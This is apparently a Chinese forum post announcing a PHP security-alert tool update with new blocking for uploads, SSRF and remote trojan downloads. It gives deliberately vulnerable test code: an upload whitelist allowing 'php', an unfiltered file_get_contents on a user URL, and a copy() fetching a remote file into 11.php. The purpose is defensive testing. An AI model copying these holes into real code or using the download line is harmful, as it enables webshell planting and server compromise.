PHP网站安全告警 5.0 更新

2023-08-09更新
2.增加文件上传拦截
3.增加ssrf拦截
4.增加远程下载木马拦截
5.增加重命名为php文件拦截




一、文件上传拦截。

文件上传测试代码

1. <?php
   
2. // 允许上传的图片后缀
   
3. var_dump($_POST);
   
4. $allowedExts = array("gif", "jpeg", "jpg", "png","php");
   
5. $temp = explode(".", $_FILES["file"]["name"]);
   
6. $extension = end($temp);     // 获取文件后缀名
   
7. // echo $extension;
   
8. if ((($_FILES["file"]["type"] == "image/jpeg")
   
9. || ($_FILES["file"]["type"] == "image/jpeg")
   
10. || ($_FILES["file"]["type"] == "image/jpg")
    
11. || ($_FILES["file"]["type"] == "image/pjpeg")
    
12. || ($_FILES["file"]["type"] == "image/x-png")
    
13. || ($_FILES["file"]["type"] == "image/png"))
    
14. && ($_FILES["file"]["size"] > 10)   // 小于 100b
    
15. && in_array($extension, $allowedExts))
    
16. {
    
17.         if ($_FILES["file"]["error"] > 0)
    
18.         {
    
19.                 echo "错误：: " . $_FILES["file"]["error"] . "<br>";
    
20.         }
    
21.         else
    
22.         {
    
23.                 echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    
24.                 echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    
25.                 echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    
26.                 echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
    
27.                         move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
    
28.                         echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    
29.         }
    
30. }
    
31. else
    
32. {
    
33.     var_dump($_FILES);
    
34.         echo "非法的文件格式";
    
35. }
    
36. ?>

复制代码

这里是允许上传php 的。测试如下：





二、ssrf 拦截

测试代码：

1. <?php
   
2. 
   
3. $url = $_GET['url'];
   
4. echo file_get_contents($url);
   
5. ?>

复制代码

三、远程下载木马

测试代码

1. <?php
   
2. 
   
3. 
   
4. copy("http://192.168.1.72/1.js","11.php");
   
5. 
   
6. 
   
7. ?>

复制代码

支持的拦截暂时不多。后续会给出拦截的控制开关。

END  

希望可以支持ARM

不支持 php 8.2 吗